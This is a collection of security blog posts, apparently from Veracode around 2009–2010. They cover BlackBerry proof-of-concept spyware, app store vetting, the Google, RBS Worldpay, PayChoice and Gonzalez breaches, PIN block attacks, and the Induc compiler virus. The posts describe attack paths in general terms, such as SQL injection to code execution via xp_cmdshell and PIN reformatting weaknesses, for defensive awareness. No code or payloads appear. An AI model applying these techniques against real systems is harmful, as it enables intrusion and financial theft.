Tyler Shields gave a presentation earlier today at ShmooCon 2010 on the threats of mobile spyware, particularly as it relates to data privacy. Smart phones and mobile applications have grown tremendously popular over the past couple of years, and it seemed like an appropriate time to raise awareness of what these applications are capable of.

Our goal was to demonstrate how BlackBerry applications can access and leak sensitive information, using only RIM-provided APIs and no trickery or exploits of any sort. We make no assumptions about how the malicious application will be installed on the phone, and we haven’t attempted to sneak a malicious application into BlackBerry App World. BlackBerry apps can be installed from any location, plus, there are so many examples of malware slipping through the screening processes of the various app stores (Apple, Symbian, Android, etc.) that we didn’t find it necessary to prove the point again. To some degree, official app stores give users a false sense of security because people will assume that everything in the store must be trustworthy.

Here’s a video that demonstrates the features of Tyler’s proof-of-concept spyware. We show how it can be used to dump contacts and messages, intercept text messages, eavesdrop on the room, report on phone usage, and monitor GPS data. To view this in HD resolution, click through to Vimeo and use full screen mode for best results.

We’re also releasing source code. As far as we know, this is the first public release of source code that demonstrates such a broad range of malicious functionality on a BlackBerry device. Code reviewers and security practitioners can use it as an educational resource to help them recognize malicious behavior and understand the specific risks introduced. This is an important educational asset for those of us working to create more secure software. As for the bad guys, it would be naive to think that they don’t already know how to do this stuff. The code doesn’t go out of its way to be stealthy; in fact, it’s quite the opposite (by design).

Here are the goods:

Slides: Blackberry Mobile Spyware — The Monkey Steals the Berries
Source: txsBBSpy.java

So how can users protect themselves? There are a few places to defend against malware of this nature.

1. Users can configure their default application permissions to be more restrictive. This way, if an application tries to use an API that accesses the user’s email or contact list, the OS will ask for permission. Avoid granting applications “trusted application” status, which grants untrusted applications additional privileges. Tyler’s slide deck shows the default and trusted permission sets in more detail.
2. Corporations using a BlackBerry Enterprise Server can configure their IT policies to restrict their users from installing third-party applications, or whitelist certain approved applications (but brace yourself for the backlash)
3. BlackBerry App World could introduce a rigorous security screening process that submitted applications must pass in order to be listed in the store.

If app stores don’t provide any security testing, the risk reduction responsibility falls to the enterprise. We recommend creating an approved list of applications that have undergone security testing.

Finally, it should be noted that while we chose BlackBerry for our proof-of-concept, this is not just a BlackBerry problem. All mobile platforms provide similar mechanisms for writing applications that have access to the user’s personal, potentially sensitive information. As consumers become increasingly dependent on their mobile devices, we are certain to see an uptick in the volume and sophistication of mobile malware.

Neil MacDonald at Gartner asks the question, “Why Don’t Mobile Application Stores Require Security Testing?”

I couldn’t agree more that we may be missing an opportunity to bring whitelisting to these new important mobile platforms. We need to leave the “detect and revoke” mentality of the PC world behind as we move to new platforms. Attackers are able to game the PC antivirus model by continuously flooding the software ecosystem with new unknown malware. The attackers will win in the mobile world too if we don’t change it. The mobile app store is a form of whitelisting that can assure the security of an entire platform if the whitelisting means something. That is if the apps are tested for security before being published.

Veracode is being asked by large financial organizations to build security testing into internal mobile app stores. There is obviously a desire for security screened applications in the corporate and government world. Why not just scan once at the platform provider’s app store and give the benefits to all?

Veracode researcher Tyler Shields is presenting 2/7/2010 at Shmoocon on Blackberry malicious mobile code. The presentation and sample code will be available here.

I applaud Google for coming forward and letting the world know about how they were attacked and what the attackers were after. Secrecy only helps the offense. Most of the time we only hear about attacks when there is public evidence such as a defaced web page, screen shots sourced from the attacker, or there is a prosecution. Since the vast majority of attackers are quiet and not prosecuted the public admission of attacks is a great public service which will help organizations understand their own risk. Other organization similar in size and sophistication to Google are clearly at risk from similar attackers and attacks.

This widespread attack on US high tech companies signals that 2010 is the year organizations will wake up that there are sophisticated attackers after their intellectual property such as source code and hardware designs. All the same attacks used to steal CC#’s and online passwords for financial theft are being targeted at intellectual property.

Attackers are well organized and have command & control in place so that the discovery of a zero day vulnerability can be used to maximum advantage by rapidly hitting a large number of high value targets.

The only solution to running software with latent vulnerabilities is to stop running software with latent vulnerabilities. Anti-virus and IDS won’t help when it is a zero day vulnerability where there is no pattern to match. Software acceptance needs to include evidence that rigorous security testing was performed.

It is time for organizations to take a hard look at the set of client software they allow on their employees workstations and determine how trustworthy that software is. In most organizations these client systems have unbounded risk and are receiving data from the untrusted internet. If this doesn’t change, attacks similar to what happened to Google are going to effect every organization with something of value.

A conversation on Twitter this morning started out like this:

@dinozaizovi: Finding vulnerabilities without exploiting them is like putting on a dress when you have nowhere to go.

This clever analogy spurred a discussion about the importance of proving exploitability as a prerequisite to fixing bugs. While I agree that nothing is more convincing than a working exploit, there will always be a greater volume of bugs discovered than there are vulnerability researchers to write exploits. Don’t get me wrong — as a former penetration tester, I agree that it is fun to write exploits, it just shouldn’t be a gating factor. Putting the burden of proof on the researcher to develop an exploit is not scalable, nor does it help create a development culture that improves software security over the long term.

A related topic, and one that hits closer to home for me, is how software developers deal with the results of static analysis. Static analysis is often misunderstood, particularly by people who have only dealt with dynamic analysis (fuzzing, web scanning, etc.) or penetration testing in the past. Because static analysis detects flaws without actually executing the target application, there’s an increased likelihood of finding “noise” (insignificant flaws) or false positives. On the other hand, static analysis provides broader coverage, often detecting flaws in complex code paths that a web scan or human tester would be unlikely to find. So there’s your trade-off.

Here’s a conversation I have all too frequently, paraphrased:

Now imagine that conversation stretching out to 30 minutes or more. They could’ve fixed a half-dozen flaws already. And it’s not limited to SQL injection. For example, consider cross-site scripting (XSS):

Buffer overflows:

By now you get the picture. Many developers want proof, to the extent that they’ll sacrifice efficiency to get it. If we are to improve software over the long haul, developers must learn to recognize situations where it takes less time to patch a bug than to argue about its exploitability. On a more positive note, from someone who talks to static analysis customers on a daily basis, the tide is starting to turn in the right direction. But it is still an uphill battle.

The size and scope of the RBS Worldpay ATM heist are unprecedented. The perpetrators stole $9M in a matter of hours from 2100 ATMs worldwide. An indictment was handed down on Nov 10, 2009. I am always on the lookout for indictments and trials related to computer crime because this is often the only time the details of the attacker’s techniques and victim’s vulnerabilities are released publically. For instance it wasn’t until an indictment was issued in the Heartland Payment Systems breach that we found out how the attackers breached the perimiter. In that case it was a SQL Injection flaw on an internet facing web application. What can we learn from the RBS Worldpay indictment?

The indictment states that the attackers were able to generate ATM cards and obtain the correct PIN codes to make a withdrawal. PIN codes, like most sensitive secrets, are stored in encrypted form. The indictment states that the attackers were able to reverse engineer the PIN codes. I take this to mean they didn’t sniff them on the network but figured out how to turn the stored encrypted PIN code back into the plain text PIN. If this is the case there is a huge vulnerability in the way banks are storing PINs. There are many different PIN storage algorithms out there and the older ones have weaknesses. As an example, here is a paper on attacking the algoritm used by IBM 3624s which many ATMs are based on. Like password hash storage in Windows, backwards compatibility with older encryption formats can be a grave weakness. I am hoping that the FBI or Secret Service has shared the details of this attack with all US banks.

We know to get to the encrypted PINs the attackers had to breach the perimeter of RBS Worldpay. The indictment states the attackers used a vulnerability in the RBS Worldpay computer network. This is about as vague as it gets. Was it a misconfigured firewall, a web application vulnerability, an unpatched server, or something else? This would be nice to know from an industry viewpoint because if RBS WorldPay isn’t dedicating enough resources to protect from a particular threat then other organizations likely aren’t also.

Finally some nice details. The indictment shows the SQL commands that were executed to manipulate the bank’s database to change limits on certain ATM cards and delete transaction data. It is not clear how the attackers are accessing the SQL server, whether it is a command-line on the server itself, another machine, or perhaps through SQL Injection. It is clear that it is game over once an attacker can modify your database tables.

I hope more details come to light so the industry can be educated from this attack and it isn’t simply a data breach datapoint.

Update:

Several people have asked me about PIN cracking. The papers talk about PIN cracking as an “insider attack”. The truth of the matter is once you breach the perimeter and are in the soft gooey center, for all intents and purposes, you are an insider.

There are a few papers on the topic.

The Unbearable Lightness of PIN Cracking delivered at Financial Cryptography and Data Security 2007 describes a few techniques.

Here is an excerpt of the approaches:

It is well known that when several PIN block formats are available the security
of the whole system degrades to the security of the weakest PIN block
format. The attacks demonstrate that reformatting capability between different
PIN block formats allows an attacker to abuse weaknesses of both formats.
Therefore enabling reformatting is more dangerous than using the weakest format.
We have also shown that the ISO-1 format is extremely weak and thus
should be immediately removed from the list of allowed interchange transaction
formats.

Another interesting insight from the attacks described is that the offset and
the PVV values may reveal as much information as the PIN itself. One possible
remedy is treating the offset and the PVV as secret values.
The changes require worldwide modifications in ATMs, HSMs and other components
implementing the PIN processing API.
In addition to all implementation of this API, systems applying the EMV
standard ([7]) and using online (rather than off-line) PIN verification are also
vulnerable to the attacks.

Another Paper: Formal Analysis of PIN Block Attacks

Abstract

PIN blocks are 64-bit strings that encode a PIN ready for encryption and secure
transmission in banking networks. These networks employ tamper proof hardware
security modules (HSMs) to perform sensitive cryptographic operations, such as
checking the correctness of a PIN typed by a customer. The use of these HSMs is
controlled by an API designed to enforce security. PIN block attacks are unanticipated
sequences of API commands which allow an attacker to determine the value
of a PIN in an encrypted PIN block. This paper describes a framework for formal
analysis of such attacks. Our analysis is probabilistic, and is automated using
constraint logic programming and probabilistic model checking.

The WASS Project which Veracode contributed data to shows some nice benefits to White box (static) over Black box (dynamic) for many serious vulnerability categories. White box overall detects a higher prevalence of many categories which we can extrapolate to having lower FN rates. Now the sample set of apps is not the same so this can only be used as a trend. Static is better than dynamic in 5 out of 7 categories: credential/session prediction, SQL Injection, Path Traversal, Insufficient Authorization, OS Commandeering. In one category, insufficient authorization, dynamic is better and in one category, brute force attack, my gut feel is this is within the margin of error given the different app samples.

I consider credential/session prediction flaws detected by white box to be typically hard to exploit even though it is a real flaw. White box (static) analysis reports this whenever non-cryptographically strong random number generators are used to generate session identifiers or resource IDs. Usually this means standard rand() is used. The SQL injection, path traversal, and OS commandeering are probably found better by static because these are a good sweet spot for static with its 100% code coverage. All that is required is good data flow modeling from web request to tainted function. In this case, database query, file I/O, or system/process calls. Black box not finding as much is likely do to much less coverage of code paths in the application.

Percent of vulnerabilities out of total number of vulnerabilities (% Vulns BlackBox & WhiteBox)

If we consider the prevalence of high risk level vulnerabilities in detailed web application analysis (P. 9) we’ll see that the most widespread is Credential/Session Prediction errors. SQL Injection, Path Traversal and implementation and configuration errors in authentication and authorization systems are also widespread.

From the L0pht Archives:

Weld Pond and Cult of the Dead Cow to be Featured on Dateline NBC

9.30.1999
The lack of client side security for internet transactions poses a huge
security risk that online banks and others just seem to ignore. Tools such
as BO2K and even simpler keystroke loggers can cut through the
authentication used for “secure” web transactions to allow an attacker to
authenticate as the hapless consumer.

Dateline explores this problem on Sunday October 3rd at 7pm EST. Watch
Cult of the Dead Cow demonstrate the attack and Weld Pond from the
L0pht talk about whatis really going on.

It is shocking how little has fundementally changed in the way consumers perform high value banking transactions over the web. Looking back with 10 years hindsight I have a slightly different way of describing the situation. Banks assume the network is compromised so they use end to end encryption. Banks don’t assume the endpoint is compromised so there is no security protection. In 2009 what is more likely, that your upstream is compromised or the endpoint is compromised? I would say for the average internet user the endpoint is more likely to be compromised.

Has the endpoint water slowly come to a boil and we are happy frogs slowly getting cooked?

Attackers are not going to be satisfied with a simple PII breach any more. The market is becoming saturated with PII. Look at the stats. In 2007, credit card records sold for an average of $10 per cardholder record; in 2009 the same records sell for an average of 50 cents per record. Attackers want higher value than this. They want to control the endpoint. They want access to your online financial accounts. They are succeeding.

Controlling the endpoint within a business can net an attacker $100,000+. In “Real-Time Hackers Foil Two-Factor Security”, Rob Lemos reports that an attacker was able to hitchhike on the computer of an employee of a construction company and issue transactions worth $447,000 in a matter of minutes. This sounds a lot better than 50 cents per record for cardholder data. Getting malicious remote access software installed on the computers of employees that conduct online banking then is a good plan of attack. That is exactly what just happened at PayChoice, an online payroll company.

The Washington Post reports that last week attackers stole email, usernames, and partial password information from PayChoice. They then used that information to target PayChoice’s customers. PayChoice’s customers recieved a phishing attack that was personalized with their PayChoice information. The phishing email contained browser and other client side exploits and also directed them to install a malicious plugin. The hybrid attack was designed to maximize the chances of owning the phished endpoint with the TrojanDownloader:Win32/Bredolab.X trojan. To add insult to injury. Customers who thought they were protected by endpoint security most likely weren’t. Only 5 of 41 AV scanners on VirusTotal.com detected the malware.

PayChoice’s customers are the ideal target for this type of multistage attack. The user that logs into an online payroll service is likely to be the user that logs into a business online banking account since payroll and banking go together in many companies. We can expect to see more attacks like this in the future.

Companies should put restrictions on the endpoints used to conduct online business.

• A known set of software required for business should be running.
• The machine should not be used for email.
• An up to date browser should be used with no plugins.
• JavaScript should be limited to a white list of trusted sites that require it.
• The machine should only be able to connect to a known set of web sites.

Two factor authentication and up to date anti-virus software is not enough. Limiting the functionality of the endpoint is the only way to be secure. Be on the lookout for anti-malware companies offering a quick fix for this problem. Remember that only 5 out of 41 AV scanners found the PayChoice phishing malware and the percentage of malware detected by AV is decreasing over time.

Trust has long been a favorite target of malicious individuals. Most people would say that proper management of trust is one of the primary cornerstones of information security. Trust is a relative term and all trust relationships should be examined with a very critical eye.

Ken Thompson’s seminal paper “Reflections on Trusting Trust”, which won a Turing Award, addresses in detail why we can never be fully sure of the trust relationships in our development environment. The paper asserts that since people tend to only review the security of the source code of their programs, and not the resulting compilation, there is a built in level of trust with regard to the tools that convert human readable source code into executable binary programs. According to the paper, this trust can be abused by creating a compiler that outputs something different than originally intended by the source code. No level of source code security review is going to catch this type of malicious activity. To take it one step further, Ken also discusses a malicious compiler that when used to build a new compiler, will make that one malicious as well. Well recent discoveries have shown that the paper is spot on with regards to a new virus that is currently making the rounds.

A few days ago, a security researcher by the name of Andreas Marx submitted a sample of a new strain of virus to a number of anti-virus vendors. This strain, which has been named Win32.Induc.a, was subsequently researched by both Kaspersky Labs and F-Secure with the details being published shortly after discovery. What makes this virus interesting isn’t a devastating payload — it has none — but instead what it targets. When an infected binary is executed it attempts to locate an installation of the Delphi compiler and, if one is present, subverts that target to create a real-life version of Ken Thompson’s malicious compiler. All future programs compiled by the now infected compiler will result in a binary that also contains the virus. Regardless of the security level of the source code fed into the compiler, the output will be dangerous. Some reports have gone so far as to claim that over 200,000 infected files have already been produced by infected compilers. (Take these numbers with a grain of salt of course).

This realization of the “Trusting Trust” subverted compiler demonstrates the need to secure and test exactly what we are going to execute and not what we write. Given the existence of malware like this, it is clear that what we write may be nowhere near what we actually run.

Update: I was just handed a link to a very interesting paper written by Chris Wysopal detailing the relationship of Thompson’s compiler backdoor to binary analysis. Link HERE. This is a must read.

The details of 3 major identity theft breaches came to light today with the release of the federal indictment of Albert Gonzalez.

It turns out that the main entry point was a SQL Injection vulnerability. The indictment states that a SQL Injection vulnerability was exploited and used to install malware on the target network.

The indictment doesn’t give any details of the technique that was used to leverage the SQL Injection vuhnerability to install the malware. I have my theories. Here are some potential ideas:

• xp_cmdshell was enabled and allowed the attackers to execute the commands of their choice on the server
• web content was served from the database and it was changed to allow executable file uploads to the web server and then execution on the web server
• there was sensitive data stored in tables in the database that allowed the attackers access to machines they could execute code on.

I would be interested in other ways people know of to leverage a SQL injection vulnerability to execute code.

Once an attacker has the tiniest foothold through a perimeter it can often be leveraged to compromize an entire organization. That is why public facing web applications are critical to secure. They are on the front line perimeter of your organization and demand the same care you would put into locking down your firewall, mail server, or VPN. Thinking that attackers who find a web vulnerability will only be able to manipulate web transactions deprioritizes the risk inappropriately. Sometimes a web vulnerability gives them the whole enchilada.